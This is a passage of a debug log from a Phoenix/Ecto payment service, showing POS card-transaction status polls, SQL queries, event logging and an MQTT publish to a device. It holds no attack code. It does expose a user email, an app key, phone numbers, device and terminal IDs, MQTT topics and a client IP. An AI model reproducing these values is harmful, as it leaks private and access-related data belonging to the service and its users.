↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:37:12.087000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39100] Sent 200 in 23ms
[Thu Sep  3 12:37:17.006000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39114] POST /api/device/status
[Thu Sep  3 12:37:17.006000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:39114] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:37:17.006000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39114] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:37:17.007000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39114] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:37:17.020000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39114] QUERY OK source="pos_transaction" db=12.9ms idle=1938.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:37:17.021000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39114] QUERY OK source="pos_temp_transaction" db=0.5ms queue=0.1ms idle=1072.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:37:17.025000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39114] QUERY OK source="pos_failed_transaction" db=3.5ms queue=0.1ms idle=951.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:37:17.026000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39114] QUERY OK source="cloud_transaction" db=0.5ms idle=955.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:37:17.026000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39114] Sent 200 in 20ms
[Thu Sep  3 12:37:22.025000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:33532] POST /api/device/status
[Thu Sep  3 12:37:22.026000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:33532] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:37:22.026000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:33532] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:37:22.026000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:33532] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:37:22.039000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33532] QUERY OK source="pos_transaction" db=12.1ms idle=1958.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:37:22.041000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33532] QUERY OK source="pos_temp_transaction" db=1.8ms idle=1970.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:37:22.046000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33532] QUERY OK source="pos_failed_transaction" db=4.8ms idle=1972.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:37:22.048000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:33532] QUERY OK source="cloud_transaction" db=1.7ms queue=0.1ms idle=1978.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:37:22.049000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:33532] Sent 200 in 24ms
[Thu Sep  3 12:37:42.766000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50332] POST /api/device/initiate
[Thu Sep  3 12:37:42.768000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50332] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch468585561184", "externalRefNumber2" => "7193130926", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:37:42.769000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50332] Processing card transaction for reference: ch468585561184
[Thu Sep  3 12:37:42.773000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK source="users" db=0.6ms idle=1703.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:37:42.777000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK source="custom_events" db=2.0ms idle=1706.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:37:42.777000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch468585561184"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 150,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch468585561184",
  external_ref_number_2: "7193130926",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Thu Sep  3 12:37:42.779000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 150,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch468585561184",
    external_ref_number_2: "7193130926",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch468585561184",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:37:42.777410Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 12:37:42.779000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:50332] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 150, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch468585561184", external_ref_number_2: "7193130926", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch468585561184", transaction_id: nil, date_added: ~U[2026-09-03 12:37:42.777410Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 12:37:42.837000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK db=56.4ms queue=0.5ms idle=1711.1ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 150, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch468585561184", external_ref_number_2: "7193130926", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch468585561184", ~U[2026-09-03 12:37:42Z], 35, "initiate_card_txn_request", ~N[2026-09-03 12:37:42], ~N[2026-09-03 12:37:42]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:37:42.837000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Successfully created custom event log with ID: 40228
[Thu Sep  3 12:37:42.837000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50332] Handling card transaction:
- Reference: ch468585561184
- Amount: 150
- Params: %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch468585561184", "externalRefNumber2" => "7193130926", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 12:37:42.840000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK source="users" db=1.7ms idle=1769.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:37:42.841000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK source="custom_events" db=1.5ms idle=969.5ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:37:42.842000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch468585561184"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788439062,
  device_id: "98251226730002",
  amount: 150
}

[Thu Sep  3 12:37:42.842000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788439062,
    device_id: "98251226730002",
    amount: 150
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch468585561184",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:37:42.842636Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 12:37:42.842000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:50332] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788439062, device_id: "98251226730002", amount: 150}, event_name: "Response From Device Online Status", refrence_id: "ch468585561184", transaction_id: nil, date_added: ~U[2026-09-03 12:37:42.842636Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 12:37:42.919000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK db=76.1ms idle=801.7ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788439062, device_id: "98251226730002", amount: 150}, "Response From Device Online Status", "ch468585561184", ~U[2026-09-03 12:37:42Z], 36, "response_from_device_online_status", ~N[2026-09-03 12:37:42], ~N[2026-09-03 12:37:42]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:37:42.919000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Successfully created custom event log with ID: 40229
[Thu Sep  3 12:37:42.920000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50332] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch468585561184\",\"amount\":15000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 12:37:42.979000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK db=58.1ms idle=852.6ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch468585561184", "externalRefNumber2" => "7193130926", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_418923d37e15@mercurypay.in", "98251226730002", "ch468585561184", 4, Decimal.new("150"), %{}, "1", ~N[2026-09-03 12:37:42], ~N[2026-09-03 12:37:42]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 12:37:42.981000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK source="users" db=0.4ms idle=911.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:37:42.981000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK source="custom_events" db=0.4ms idle=474.3ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:37:42.982000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch468585561184"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788439062,
  qos: 1,
  device_id: "98251226730002",
  amount: 150
}

[Thu Sep  3 12:37:42.982000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788439062,
    qos: 1,
    device_id: "98251226730002",
    amount: 150
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch468585561184",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:37:42.982846Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 12:37:42.983000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:50332] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788439062, qos: 1, device_id: "98251226730002", amount: 150}, event_name: "Request For Publish Txn", refrence_id: "ch468585561184", transaction_id: nil, date_added: ~U[2026-09-03 12:37:42.982846Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 12:37:43.013000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK db=29.1ms idle=390.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788439062, qos: 1, device_id: "98251226730002", amount: 150}, "Request For Publish Txn", "ch468585561184", ~U[2026-09-03 12:37:42Z], 37, "request_for_publish_txn", ~N[2026-09-03 12:37:42], ~N[2026-09-03 12:37:42]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:37:43.014000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Successfully created custom event log with ID: 40230
[Thu Sep  3 12:37:43.014000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50332] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1094189058.184435>
[Thu Sep  3 12:37:43.014000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50332] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1094189058.184443>
[Thu Sep  3 12:37:43.017000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK source="users" db=2.7ms idle=241.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:37:43.019000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50332] QUERY OK source="custom_events" db=0.6ms queue=0.1ms idle=241.3ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:37:43.020000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch468585561184"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788439063,
  device_id: "98251226730002",
  amount: 150
}

[Thu Sep  3 12:37:43.020000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:50332] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
